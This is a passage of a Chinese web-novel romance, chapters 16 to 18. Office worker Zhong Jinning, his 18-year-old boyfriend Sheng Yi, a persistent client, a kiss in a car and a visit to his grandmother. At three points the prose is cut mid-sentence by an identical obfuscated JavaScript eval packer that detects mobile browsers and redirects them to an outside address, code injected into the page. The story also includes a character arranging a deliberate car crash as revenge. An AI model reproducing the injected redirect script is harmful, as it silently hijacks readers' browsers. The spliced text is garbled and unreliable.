盛熠:【不疼了,哥哥涂的药很有用。】 咔嚓一声拍照响,钟瑾宁抬起头,看到小梨拿手机镜头对着他。 小梨放下手机,深沉道:“宁宁,你知道你刚笑起来什么样吗?” 钟瑾宁愣愣:“我刚笑了吗?” “笑了,笑得特让人心动,需要赶紧申请专利保护的那种好看,你看我我给你发的照片就知道了。” 小梨感慨:“还好我和你共事两年了,工作加持,天然祛魅,小鹿早就死得不能再死了。” 钟瑾宁点开她发过来的照片。 颀长青年侧站在窗边,半个身形隐在亮光中,蓝色工牌压着挺括的白衬衫,轻薄的面料透出柔韧的腰身弧度,被西裤包裹的双腿笔直修长。 照片里的他正低头看着手机,长睫垂落,眼尾一点红痣如朱砂,唇角微微上扬,笑意温柔而缱绻。 “我是这样笑的吗?”钟瑾宁思考两秒,“可能因为他太可爱了。” 小梨八卦地问:“谁啊谁啊?” 钟瑾宁道:“一个小朋友。” “小朋友啊……” 小梨一脸失望。 钟瑾宁端着咖啡回了工位,心神专注在工作上,却隐隐觉得自己好像忘了什么事。 忘了什么呢? 钟瑾宁始终想不起来。 有份文件需要找安组长签字,安组长照例喋喋不休地在说一些重复的话,他站在旁边放空发呆。 刹那之间,钟瑾宁猛地想起来自己忘了什么了。 昨晚停电,他换衣服的时候,把最贴身的内裤也扔在了脏衣篓里,甚至放在了最表面。 他本来计划着今早上起来手洗的,但是直接忘了这件事。 盛熠应该会直接帮忙扔洗衣机吧? 钟瑾宁不确定地想,耳根蹿起热度,生出几分不安。 安组长终于念叨完了,将签好字的文件递还给他,笑眯眯道:“小钟,你回去吧。” 钟瑾宁接过来:“谢谢安组长。” 虽然他也不知道自己在谢什么,但按流程这样说了一句,出去赶紧将签好字的文件扫描复印备份,而后回到工位上。 钟瑾宁打开手机。 通知栏里,来自盛熠的消息就在第一条。 【哥哥,你的内裤我给你手洗晾起来了。衬衣和裤子也洗好了,我用挂烫机熨了一遍。】 【现在是香香的。】 钟瑾宁读了一遍,脸颊就忍不住升温。 什么香? 是说他的内裤,还是洗完的衣服? 应该是衣服吧。 钟瑾宁不知道该让盛熠下次别帮他手洗贴身衣物,还是该说谢谢盛熠帮忙洗衣服,甚至贴心地趁着未干的时候熨烫了。 他纠结半晌,最后回复了一句:【谢谢。】 盛熠:【哥哥,那我回去了。傅子程找我商量出专辑的事。】 钟瑾宁:【好。】 想了想,又道:【我今晚有部门聚餐,可能会回消息不及时。】 盛熠:【哥哥会喝酒吗?】 钟瑾宁:【不会,我一般开车过去。】 安组长把小组聚餐的位置定在车程二十分钟外的一家重庆火锅店,钟瑾宁在下班后先回公寓了一趟,开着车回公司门口,接其他几个同事一起过去。 小梨轻车熟路地坐上副驾,一上来就发现了前排空间的不对:“宁宁,你的副驾位置调过啦?” 钟瑾宁怔了下,记起上回盛熠坐车时调整过,点点头。 后排中间一个女孩子问:“调过怎么啦?” 小梨道:“咳,你要是临时坐别人的车,就算坐着不合适,你会主动调位置吗?或者说,要是和车主关系不太好,你会自己调整座位吗?” 后排瞬间恍然:“所以要么是经常会坐宁宁车的人,要么是关系特别,在宣誓主权——” 钟瑾宁茫然地问:“没这么多讲究吧?你们要是坐得不舒服,也可以调的。” “直男。”小梨摇头,“你信不信我给你把副驾驶的位置调整过,下次她发现了,肯定会生气。” 钟瑾宁迟疑:“不会的吧,他性格很好。” 后排三个女孩子笑成一团:“果然有这么个人,宁宁你也太好被套话了吧!” 钟瑾宁被她们笑闹得有几分不好意思,在手机导航里输入火锅店的位置,开车起步。 小梨坏心眼地道:“宁宁,要不然我们打个赌,我把位置调回去,看你家那位会不会生气。” 后排的女孩子们更起劲:“好啊好啊。” 钟瑾宁笑了笑,不觉得盛熠会为这种事生气,好脾气地应:“好。” 小梨一边往前调位置,一边嘀咕:“不过看这前面留的空间,宁宁你家那位长挺高啊……御姐?” 后排已经转了话题,叽叽喳喳地讨论等会儿火锅要点什么,最近上火长痘但还是想吃特辣锅。 等到了火锅店的包间,个个在安组长面前变成了乖顺的小绵羊,排队敬酒,感谢安组长平时的照顾。 钟瑾宁将九宫格火锅的照片发给了盛熠。 盛熠:【看起来好辣。】 钟瑾宁:【嗯,所以我买了燕麦酸奶。】 盛熠:【哥哥你们聚餐几点结束?】 钟瑾宁按照以前的经验:【可能八九点的样子。】 “宁宁,你要不要去给组长敬一下?”小梨在旁边小声道,“我们快敬完了。” 女孩子们是两两结伴过去敬茶水的,就差钟瑾宁了。 到底是谁发明了敬酒文化这种糟粕? 钟瑾宁端着茶水杯过去了,一板一眼地说了几句套话。 安组长笑眯眯地回敬:“小钟啊,要是我平时做的有什么不周到的,你也多体谅啊。” 这话和以前安组长回的套话全然不同,叫钟瑾宁的程序都卡顿了一下。 一轮敬完,安组长又带头整桌一起喝了杯,发表完小演讲后,识趣地说家里有事先走了,账已经结了。 他人一消失,餐桌上的气氛立刻活跃起来,小梨还让服务员上了啤酒。 聚餐到一半,钟瑾宁去洗手间,在外面洗手的时候,有个人正要进去,注意到钟瑾宁,停了步:“是钟经理吗?” 钟瑾宁转头看去,很快从记忆里翻找出称呼:“小陈总好。” 小陈总问:“钟经理是和同事聚餐,还是和朋友出来玩的?” 钟瑾宁点点头,客气地回问:“小陈总今天是……?” “周五晚上嘛,出来和朋友聚聚。”小陈总道,“我好几个朋友也这行的,说不定以后也有合作的机会,等会儿要不要认识一下?” 钟瑾宁不太想答应——就朋友两个字,没有背景介绍,没有数据支撑,这么贸贸然地去认识人,在他眼里和开盲盒差不多。 而他最不喜欢的就是不确定性。 但做这行这么久,也知道这时候不能拒绝。 不去,就是拂了小陈总的面子。 “小陈总坐的哪桌,我回去和同事们说一声,再来打扰你们。” 小陈总便说了包厢号,恰好就在钟瑾宁他们桌的隔壁。 钟瑾宁回了桌,倒了杯啤酒。 小梨惊讶:“宁宁,你不是开车了吗?也要喝酒?” 钟瑾宁道:“碰到了一个客户,说要给我介绍朋友,我过去打声招呼。” “对方级别很高吗?” 见钟瑾宁点了头,小梨目露同情:“完了,那是得端酒过去。等会儿要不要我给你打个电话,把你解救出来?” 钟瑾宁笑了下:“好,等会儿我要是给你发消息求救了,你就给我打电话。” 小梨道:“没问题。” 钟瑾宁稍微等了会儿,去了隔壁包厢敲门。 小陈总很快来开门,里面都坐着几个朋友,看起来都挺年轻,看到钟瑾宁立刻大呼小叫。 “我去,陈哥你什么时候认识这么漂亮一个大美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159661|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!” “这是嫂子吗?” “陈哥你也太不够意思了吧,怎么从来没带过来见我们?” 小陈总笑骂:“乱说什么呢,鼎晟集团知道吧?这是商务部的钟经理。” 又对钟瑾宁歉意道:“不好意思啊,他们说话随意惯了,没个把门。” 钟瑾宁道:“小陈总的朋友们都很热情。” 小陈总便带钟瑾宁一个个介绍人,站得很近。 这群朋友都是看着年轻,但和小陈总差不多,早早就接手了家里的生意,眼光又精,看出小陈总有那方面的意思,让钟瑾宁坐下一起吃,还半哄半劝让他换了白酒碰杯。 钟瑾宁推脱不开,被灌了两小杯白酒,有些上脸发晕,在桌底下用手机偷偷给小梨发消息:【1】 不到一分钟,手机响起铃声。 钟瑾宁拿出手机一看,愣住了。 怎么是盛熠给他打的电话? 但这时候,不管是谁打的电话都行。 “不好意思,我出去接个电话。” 钟瑾宁说了声,出了包厢,感觉一下子变轻松了,接通电话:“盛一?” 通话对面的盛熠问:“哥哥,你给我发了个1,是遇到什么事了吗?” 钟瑾宁没想到自己在桌子底下不小心把消息发给了盛熠,更没想到盛熠这么敏锐,笑道:“没事,我……” 话还没说完,小陈总又从包厢里出来了。 钟瑾宁硬生生改口:“要我回公司一趟吗?很紧急的文件?好,我这就回来。等会儿到了,我就给你回电话。” 他挂了电话,对小陈总笑笑:“公司里有点事,我得回去一趟。抱歉啊小陈总,你们这桌我请客。” “要回去啊?”小陈总道,“请客就不用了,我没喝酒,我送你回公司吧。” 钟瑾宁拒绝:“不麻烦您了。” “我也没大你几岁,别您啊您的。”小陈总不由分说,“等我两分钟。” 小陈总回了包厢,钟瑾宁只好站在原地。 包厢里传来一片哄笑声,小陈总神情轻松地甩着法拉利车钥匙出来了:“走吧。” 做戏做全套,钟瑾宁只好硬着头皮道:“谢谢小陈总。” 钟瑾宁还是第一次坐法拉利,坐上副驾,小陈总倾身过来,帮他扣安全带。 饶是钟瑾宁再迟钝,也终于明白过来小陈总对他有别的意思了。 手机上不断弹出新消息。 钟瑾宁简单回了盛熠,说他临时有点事,在回公司的路上,不用担心,又给小梨发消息,托她帮忙把小陈总那桌结账,他再转钱给她。 盛熠:【回公司的路上还给我发消息,哥哥没有开自己的车吗?】 盛熠:【你喝酒了?】 钟瑾宁只好回:【碰到了客户,喝了一点点,没事。】 到了公司门口,钟瑾宁道谢:“谢谢小陈总,今天就麻烦你了。” 小陈总道:“没事,你这儿需要多久?我等你吧。” 钟瑾宁脸上的礼貌微笑差点维持不下去:“不用了吧,我怕耽搁您的时间。” “我那几个朋友灌你酒,我没拦住,我也有责任。”小陈总道,“等会儿送你安全到家,我才放心。” 钟瑾宁拒绝:“没事的,我就喝了两杯,而且我就住附近,没什么安全问题。” 小陈总不为所动,和善地催:“你那个文件挺着急的吧?快上去吧。” 钟瑾宁深吸口气,点头说好,木着脸回公司了,打算就这么和小陈总耗着。 大不了他今晚加班工作。 盛熠:【哥哥又回公司了吗?】 钟瑾宁:【嗯,有个客户比较难缠,我在躲他。】 盛熠:【他在追你?】 钟瑾宁有几分震惊,回看了一遍自己的表述。 不是,他什么也没说啊,盛熠怎么推导得这么准? 盛熠:【哥哥,追你的是谁啊?】 钟瑾宁:【你不认识他的。】 盛熠:【那我也要知道。】 这是生气了吗? 钟瑾宁隐隐感知到几分,又不太确定,但还是给小男友发去了小陈总的公司名字和姓名。 盛熠:【没听说过。】 钟瑾宁忍不住笑了。 高中生小朋友,要是认识小陈总才奇怪呢。 那通电话后,盛熠就往钟瑾宁聚餐的火锅店地址赶,中途收到消息,又让师傅改去了鼎晟公司。 他下车的时候,一眼就看到了嚣张停在路边的红色法拉利,有个年轻男人靠在车门边。 扣着鸭舌帽的少年站在行道树下,对准法拉利的车牌号拍了张照片,发给朋友:【帮我找人查查车主。】 不到十分钟,对方回了详细信息。 就是他了。 盛熠很冷地笑一声。 【找辆跑车过来,给我把这辆法拉利撞了。】 17.停车 钟瑾宁接到了小陈总的电话。 “钟经理,突然有辆阿斯顿马丁撞了我,今天可能送不了你回去了。” 钟瑾宁惊讶地啊一声:“小陈总您没受伤吧?” “我人没事,就是车后面被撞烂了,得拖回原厂修。”小陈总的语气压着火气,“车主我倒是认识,打过几次照面,不知道哪儿得罪他了……” 钟瑾宁一边听电话,一边走到了落地窗边。 天色昏暗,路灯明亮如昼,道路上停着一红一黑两辆造型别致的跑车,旁边一小圈路人在拍照录像。 小陈总抱怨几句,有许多事处理,匆匆挂断了电话。 手机上跳出新的消息。 盛熠:【哥哥回去了吗?】 钟瑾宁因为摆脱了小陈总,整个人都变得轻松起来,低头打字回:【还在公司,准备打车回火锅店,找代驾把车开回去。】 市中心的停车场寸土寸金,按小时收费,上不封顶,他不敢把车在那儿停过夜。 盛熠:【哥哥,我有驾照,不用找代驾,我送你回去吧。】 钟瑾宁一怔:【你在附近吗?】 盛熠:【在哥哥的公司楼下。】 钟瑾宁的唇角掀起弧度:【好啊,我这就下来。】 行道树下,盛熠收了手机,抬眼向车祸发生地看去。 小陈总的心口窝着火,脸上却笑着:“我这车好好停路上,你说撞上来就撞上来,是不是得给个说法?” 另一个年轻男生扫了眼远处,压低声线:“和你说句实话吧,我也是受人之托。” 小陈总琢磨着最近是哪个合作冲撞了什么人,还是上次竞拍的那块地皮得罪了谁。 面前的人看到打过几次交道的份上,好意提醒:“你是不是看上什么不该看的人了?” 小陈总愣了几秒——这段时间他忙得脚不沾地,也就今天有闲心想逗逗偶然碰见的钟瑾宁。 醒悟过来后,他一句国骂差点出口:“疯了吧?说一声就行的事,至于把我的车撞了吗!我这车等了十个月才到手的!” 男生拍拍他的肩,怜悯道:“他是挺疯的,你庆幸就是撞辆车的事吧。” 小陈总背后一凉。 富二代圈层就那些人,不熟也打过照面,能一句话支使面前的男生开跑车出来堵他…… 钟瑾宁下楼的时候,两辆跑车被拖车给拖走了,只余几个闲聊的路人。 他环顾一圈,看到了行道树下的熟悉身影,眼睛亮起来,快步走过去,喊了声:“盛一。” 少年身形高挺,眉骨压得很低,唇线紧抿,穿着身黑白运动风套装,银色十字架耳钉闪着冷光,气势很凶。 盛熠听到声音,转头看来。 钟瑾宁根本没发觉少年的低气压,站在盛熠的面前,歉意问:“是不是让你等了很久?电梯人多,我等了两趟才下来。” 那股酒劲儿上来了,他说话比往常要慢,咬字有些模糊,尾音轻飘飘,带着点无意识撒娇的意味。 “没有等很久。”盛熠放缓了语气。 钟瑾宁问:“你正好在附近吗?” “不是正好。”盛熠道,“哥哥,我是接到你的电话后过来的。” 钟瑾宁明白过来——是他发的不明意义的信息,和那通对不上的电话的原因,让盛熠担心了。 他的语气带上几分歉意:“抱歉,我本来打算发给同事,让她找个理由帮我从酒局脱身的,不小心发给了你。” 盛熠问:“哥哥,你喝了多少?” 钟瑾宁道:“不多,就两杯。” 他低声讨饶:“碰到客户,实在推不掉。” 盛熠很轻地叹口气,伸出手,牵住钟瑾宁的手:“走吧,回去拿车。” 他打了辆车,两人重回火锅店附近。 车就停在路边,钟瑾宁想起来问:“你吃饭了吗?” 盛熠道:“没有。” 钟瑾宁看时间都快九点了,不赞同地蹙起了眉,道:“那你在车上等我,我去店里打包个蛋炒饭,很快的。” 他把车钥匙塞给盛熠,不由分说进了店里。 钟瑾宁是在吃饭中途被叫走的,也只吃了个半饱,打包了一份小酥肉和两份蛋炒饭。 他去了车副驾的位置,一边系安全带,一边道:“好了,我们走吧。” 少年坐在驾驶座上,手臂搭着方向盘,偏头看着他,却一时没有动,问:“哥哥,有人调了副座的位置吗?” 钟瑾宁愣了愣,迟缓地想起小梨确实在来的路上调整过,点了下头:“我同事调过。” 盛熠问:“为什么要让她调?” 又问:“她经常坐哥哥的车吗?” 接着是:“她和哥哥关系很好?很特别?” 一连几个问题,把钟瑾宁给砸懵了。 钟瑾宁不知道盛熠为什么这么在意这事:“她想调,就让她调了。没什么的吧?” 盛熠没说话了。 哒哒敲窗声响起,是停车位的管理人员拿着二维码牌子来收费了。 钟瑾宁道:“我来……” 车窗降下,盛熠却挡了他的手机,默不作声地自己扫码付钱,而后启动引擎,开车起步。 钟瑾宁问:“你生气了吗?” 盛熠道:“是,我生气了。” 啊,原来真的生气了。 钟瑾宁很认真地问:“你为什么生气?” 盛熠道:“哥哥自己想。” 钟瑾宁想起几个女孩子在车上讨论的那段话,小梨和他打的赌。 【要是和车主关系不好,你会调整车座位吗?】 【所以要么是经常坐宁宁的车,要么是故意宣誓主权。】 【你信不信我给你把副驾驶的位置调整过,下次她发现了,肯定会生气。】 钟瑾宁的唇边浮现笑意,看盛熠像在看炸毛小狗,道:“就因为这个座位啊?” 盛熠气得更厉害了:“就?” “她们和我说,要是调了座位,你肯定会生气,我当时还不信。”钟瑾宁放软了声音哄,“我错了,下次一定不答应她们了。” 盛熠一顿:“什么?” 钟瑾宁将打赌的原委讲了一遍,最后含着笑意,重新回答了盛熠的那几个问题。 【为什么要让她调?】 “打了个赌,就这一次,下次不会答应了。” 【她经常坐哥哥的车吗?】 “她们没有经常坐我的车,我有车,安组长也有车,聚餐的时候大家坐两辆车一起过去,比较方便。只有聚餐时这样。” 【她和哥哥关系很好?很特别?】 “她们和我都是普通的同事关系。” 钟瑾宁偏头道:“和我关系特别的,只有一个人——现在开着我车的小男友。” 盛熠被哄得浑身气焰都下去了,差点压不下唇角:“不行,我还在生气。” “嗯?”钟瑾宁委实没想到,“还在生气什么?” 盛熠直说了:“哥哥碰到麻烦,第一个要找的不是我。” 钟瑾宁眨眨眼。 少年的语气硬邦邦:“哥哥拿我当小孩子,根本没把我当可以依靠的成年人。” 钟瑾宁觉得好笑,但也理解小男友的自尊心。 十八岁,正是想要证明自己已经长大,要强的时候。 盛熠又道:“哥哥还喜欢和我抢着付钱。我虽然比你年龄小,但是也有收入来源,有钱的。其实上次哥哥坚持付房费,我就特别不开心,但是哥哥要我乖一点,所以我忍下来了。” 钟瑾宁道:“好吧,是我做错了,你要我怎样赔罪才不生气?” 盛熠问:“什么都可以?” 钟瑾宁道:“什么都可以,只要你不生我的气。” 盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15164152|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熠在开车的间隙飞快地看他一眼,耳根浮红,低声道:“那我要哥哥主动亲我。” 钟瑾宁卡了下。 盛熠强调:“哥哥刚说了什么都可以的,不能反悔。” “我没想反悔。”钟瑾宁努力不露怯,“等会儿回去就主动亲你,好吧?” 盛熠的唇角翘了起来:“好。” 车辆开至公寓楼下,钟瑾宁指挥着盛熠停进了地下停车场。 停稳后,钟瑾宁准备下车,拉车门,听到一声落锁的声音,车门没拉动。 他转头回去,撞上盛熠在黑暗中灼亮的眼眸。 盛熠道:“哥哥,你刚答应了我的。” 钟瑾宁的反应慢了一拍才明白过来,脸上逐渐升温:“我知道,但这是停车场,会被人看到的,我们先回公寓吧。” 盛熠道:“没人来这边的。” 钟瑾宁左右看了看,发现这边靠近角落,附近车位已满,加上时间晚了,确实没什么人经过。 大概因为酒精麻痹了神经,钟瑾宁的胆子也变大了,倾身过去,打算去亲盛熠。 盛熠却往后躲,拍了拍自己的腿,道:“哥哥,坐上来。” 这也太…… 钟瑾宁为难道:“车里太窄了。” 盛熠往后调整了座位,态度不言而喻。 钟瑾宁又喊了声:“盛一。” 盛熠盯着他,不肯退让。 好吧。 钟瑾宁想。 就这一次。 他磨磨蹭蹭地起了身,跨过中控台,坐在了盛熠的腿上,视线高了一截,差不多和少年平齐。 因为是面对面的姿势,钟瑾宁被西裤包裹的腿分得很开,后腰抵住了方向盘,被咯得有些难受。 座位已经往后调了,但对于两个人来说还是显得狭窄局促。 头顶的亮灯自动熄灭下来,车内变作一片昏暗。 视觉被剥夺,其他感官变得更加的敏锐。 比如少年扶上了自己腰侧的手掌,屁股底下肌肉坚实的大腿…… 钟瑾宁不自在地动了动。 盛熠催促:“哥哥?” 因为羞耻,钟瑾宁的耳尖更加烫灼,应:“知道了。” 他慢慢地靠近,贴上了盛熠的唇角。 只是刚亲上去,就被少年迫不及待地拿走了主动权,舌尖猛地撬开齿关,直接闯了进来。 湿漉漉的舌尖缠绵在一起,似有电流蹿过神经末梢,半边身体都变得酥麻。 钟瑾宁担心时间久了,可能有人路过,最后一丝理智提醒着他往后躲,窘迫道:“够了……” “不够。” 盛熠追上来,哑声道:“哥哥知道的,不够。” 光线黯淡的车内,响起黏黏糊糊的水声和重叠在一起的急促呼吸。 盛熠落下的吻又凶又急,钟瑾宁一点招架之力也没有,唇舌间被侵占了个彻底,溢出破碎的呜咽,眼尾难以忍受地浮起绯红,滑落泪珠。 超载的感官刺激模糊了时间的界限。 怎么、怎么还没结束…… 钟瑾宁近乎失神地想。 座位太窄了,钟瑾宁被夹在少年炽热的身体和方向盘之间,退不了,躲不开。 口腔软肉被一寸寸地舔舐,舌尖被反复纠缠,是极下流极色.情的吃法。 他被亲得浑身都在发抖,根本坐不住,连衬衫的衣角也被扯开了,被少年的手掌探进去揉。 盛熠尝到了钟瑾宁的眼泪,终于停下,将头抵在他的肩上,轻轻地喘气。 热烫的气息一下一下地吹拂着钟瑾宁的肌肤。 “哥哥,抱一会儿再走。” 两人贴坐在一起,钟瑾宁也察觉到了盛熠现在不适合出去的变化。 他眼角带泪,神情呆呆的,懵懵的,实在想不明白,为什么平时那么乖的小男友,在这方面风格这么强势。 18.回乡 小酥肉和两盒蛋炒饭带回公寓,已经变温了。 钟瑾宁在聚餐的时候吃了半饱,将带回来的蛋炒饭吃了一小半,进食的速度就开始变慢。 坐对面的盛熠已将盘子里的快吃完了,问他:“吃饱了?” 钟瑾宁点点头。 少年的手臂长,直接将他的那份端了过去,低头吃起来。 钟瑾宁张了张口,想起来阻拦:“那是我吃剩的……” 盛熠直白道:“哥哥的口水我都吃了,还会介意一份剩饭吗?” 这话说的。 钟瑾宁的脸颊隐隐发热,低头喝水。 吃完晚饭后,盛熠主动收拾了桌面,将两个餐盘带进厨房洗了。 他在里面洗碗,钟瑾宁拿手机看了时间。 将近十点,已经很晚了。 钟瑾宁的唇角还肿着,不想留他,又说不出话赶他。 盛熠摘了围裙出来,主动道:“哥哥,我先回去了。” 他正为难的事,就这样被一句话解决了。 钟瑾宁慢吞吞道:“那,我送你下楼吧。” 盛熠笑了笑:“哥哥留在家里休息吧。晚上风大,你喝了酒,下楼被风吹容易头疼。” 那点酒意被这么来回折腾得快消散完了。 钟瑾宁也没拂盛熠的好意:“行。” 他送盛熠到门口:“路上小心,到了给我发个信息。” 盛熠应了声好。 少年换了鞋,站在玄关处问:“哥哥,周末我们还能见面吗?” 钟瑾宁道:“这周末我要开车回去看姥姥。” “哦……” 盛熠的声音染上几分失望,很乖地道:“那等哥哥有空了,我再找哥哥玩。” 钟瑾宁轻嗯一声。 盛熠道:“那我走了。” 钟瑾宁道:“好。” 已经说尽了告别词,无话可说了,但盛熠站在门口,迟迟不肯走。 钟瑾宁也没催他,问:“周末打算做什么?” 盛熠道:“音乐经纪公司那边给的片酬挺高,傅子程找律师看过合同,没问题,就打算出两张乐队专辑试试水。我们这周末去那边公司的录音室一趟。” 又道:“等我拿到了专辑,第一张送给哥哥。” 钟瑾宁逗他:“盛一同学给签名吗?” “给的。”盛熠道,“给特签。” 钟瑾宁不知道特签是什么,却也点头:“好,我等盛一的特签。” 盛熠笑了笑,轻轻地拉住钟瑾宁的手,晃了下:“哥哥,下次见。” 钟瑾宁的喉结微动,道:“嗯,下次见。” 少年松开他的手,真的走了。 房门被关响,整间公寓重归寂静。 钟瑾宁站了几秒,往回走了几步,看到客厅里的挂式熨烫机上挂着熨好的白衬衫和西裤,布料垂顺笔直。 他的视线往下落,忽然注意到地板干干净净,像少年在早上拖过一遍。 钟瑾宁的心中涌现几分不舍,甚至生出冲动——想追出门去,抓住少年的手,让他今晚留下来。 但他克制住了,转去收拾明天要带给姥姥的东西。 姥姥住在临县的一个小村落里,车程有三个小时。 钟瑾宁在周末起了个早,将礼物装进后车厢。 他开车的时候不看手机,出发前还特意给盛熠说了一声。 等下车以后,又是给姥姥提东西,钟瑾宁又是被按在桌前吃一碗醪糟糖水蛋,再拿起手机的时候,已经十点多了。 盛熠给他发了好几条消息,说自己已经到音乐经纪公司了。 钟瑾宁喝着糖水,时不时放了勺子,低头给盛熠回消息。 “哎呀,回来就回来,下次就别买这么多东西了。这面料是桑蚕丝吗?摸起来可软,是不是很贵啊?姥姥在这干活,穿不了这么好的衣服……” 姥姥的那双手做了一辈子的活,皮肤似枯萎树皮,抚摸着柔柔水波似的面料。 钟瑾宁抬起头,对姥姥道:“姥姥,这几件衣服不贵,您尽管穿。夏天要来了,桑蚕丝穿起来舒服透气。” 又道:“那盒玫瑰饼是女同事推荐的,没什么添加剂,我尝过,香味很浓。” 姥姥喜欢花花草草,听到鲜花饼更是欣喜,连连点头:“好,好。” 钟瑾宁将糖水蛋吃完了,准备去洗碗。 姥姥急忙放下手里的东西:“放着放着,我来。” “好。” 钟瑾宁顺从地将碗拿给姥姥。 姥姥端碗进了厨房,钟瑾宁便去了客厅,将肩颈按摩仪的包装盒拆了,拿说明书研究了下,打算一会儿教姥姥怎么用。 玻璃茶几上摆着一大碗挂着水珠的新鲜黑桑椹。 钟瑾宁尝了一个,清甜多汁,浆果带着初夏的清新在舌尖绽开,没有一点涩味。 “姥姥,这是桑葚是在市集上买的吗?” 姥姥的声音从厨房里飘出来:“后山那小溪边上摘的野桑葚!今年果子特别多,冰箱里还有一大包,你明天记得带走。” 钟瑾宁笑着应了声,心念一动,拿手机对准桌上拍了张照,问盛熠喜欢吃桑椹吗。 盛熠:【不太喜欢,我吃过的桑椹都特别酸。】 钟瑾宁:【这个不一样,很甜。我明天去树上摘新鲜的带给你。】 盛熠:【好啊,哥哥说甜,那肯定特别好吃。】 “瑾宁——” 钟瑾宁放下手机,转头看见姥姥的脸上笑开了花。 姥姥打趣:“这次回来,见缝插针地拿手机给谁发信息呢?是不是谈恋爱啦?” “在和一个小朋友说话。” 钟瑾宁有点不好意思告诉姥姥自己交往了一个十八岁的小男友,跳过姥姥的第二个问题,道:“您给我的艾草香包我送了他一个,他让我给您说声谢谢。” 姥姥有些失望:“这样哦。” 钟瑾宁站起来:“姥姥,这个肩颈按摩仪您试试。” 姥姥试了按摩仪,她常年弯腰低头劳作,肩颈肌肉僵硬,被按得一阵舒坦,追问多少钱。 钟瑾宁少说了个零,依旧把姥姥给心疼坏了,让他下次别买这些。 钟瑾宁弯着眸说好。 快到中午的点了,姥姥去小院子摘自己种的青菜,钟瑾宁去了厨房检查调料的生产日期。 ——市集上有些商家会把临期调料当正常产品卖,村子里大多是老人,视力不好,经常发现不了。 调料的日期倒是正常的,钟瑾宁打开冰箱,看有没有过了保质期,但姥姥舍不得扔的食物,特别是冰冻层的冻货。 检查完了,又去了卫生间的外间看燃气热水器的阀门和燃气胶管的状况,在每个房间都试了一遍灯,发现储物间的灯泡坏了。 他关了总闸,找出梯子和一个新灯泡,上去把灯给换了,蹭了一手的灰。 出房间的时候,姥姥带着一篮子新鲜的菜也回来了,哎呀一声:“我本来想给你说这间屋灯坏了的,忘了。” 钟瑾宁笑了笑:“没事,已经修好了。” 他重新开了总闸,去洗了个手,又去厨房找洗菜的姥姥:“姥姥,蚝油您用了以后记得放冰箱里,天气热起来了,蚝油容易变质。” 姥姥应:“知道啦,你别在厨房杵着,去客厅里看电视——现在的智能电视是越来越复杂了,我拿着遥控器都不知道怎么按,这电视还是得你们年轻人看。” 钟瑾宁没走,站旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169834|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边剥蒜:“我上次设置了开机直接进入频道的,出问题了吗?” “我也不知道按到哪里去了。”姥姥叹气,“想看个新闻都不行。” 钟瑾宁宽慰她:“没事儿,等会儿我帮您看看。下次发现电视频道按不出来,您给我说一声,我远程也能调。” 姥姥稀奇地问:“能吗?” 钟瑾宁点头:“能的。” 姥姥笑着夸:“我们瑾宁这么厉害啊。” 又收走他手里的蒜碗,赶他出去:“好了好了,你出去坐着。” 钟瑾宁被轰出了厨房,又和盛熠继续聊天,盛熠想知道姥姥家的小院子是什么样,他便出去拍照。 天色碧蓝如洗,远处山峦起伏,近景的田间里青菜葱绿。 【我姥姥还养了几只小兔子。】 他把草丛里的兔子照片发过去。 雪绒团似的兔子直愣愣地望着镜头,竖着两只耳朵,黑豆眼睛溜圆,看起来很呆。 盛熠认真点评。 【像哥哥。】 【很可爱。】 钟瑾宁恼羞成怒:【哪里像了!】 “瑾宁,吃饭啦!” 姥姥的声音从屋子里传来,钟瑾宁赶紧扬声应了,回去了。 一桌都是钟瑾宁爱吃的菜,白米饭也盛好了,堆山尖似的一大碗。 姥姥把筷子分给他:“工作是不是特别忙?我看你都累瘦了。” 钟瑾宁道:“姥姥,我的体重没有变。” 姥姥满脸写着不信,当钟瑾宁是在哄她。 钟瑾宁无奈地笑笑,也说不清楚,只能努力地将那一碗饭给塞完了。 姥姥有午睡的习惯,钟瑾宁便带着手机出去溜达转圈,消消食,给盛熠时不时发风景照。 乡里的信号不是很好,消息总得转半天。 盛熠:【想哥哥。】 钟瑾宁:【明天给你带桑椹。】 快到姥姥午睡起来的点了,钟瑾宁顺着田埂往回走。 盛熠:【我得回去一趟,物业通知我住的房间可能漏水了。】 钟瑾宁的脚步放缓,打字问:【严重吗?】 盛熠:【还不清楚,等我回去看。楼下的租户发了个视频给物业,他房间里满地都是水,电视和床上也被滴水了,我房间可能更严重。】 钟瑾宁感觉不妙:【你房东呢?】 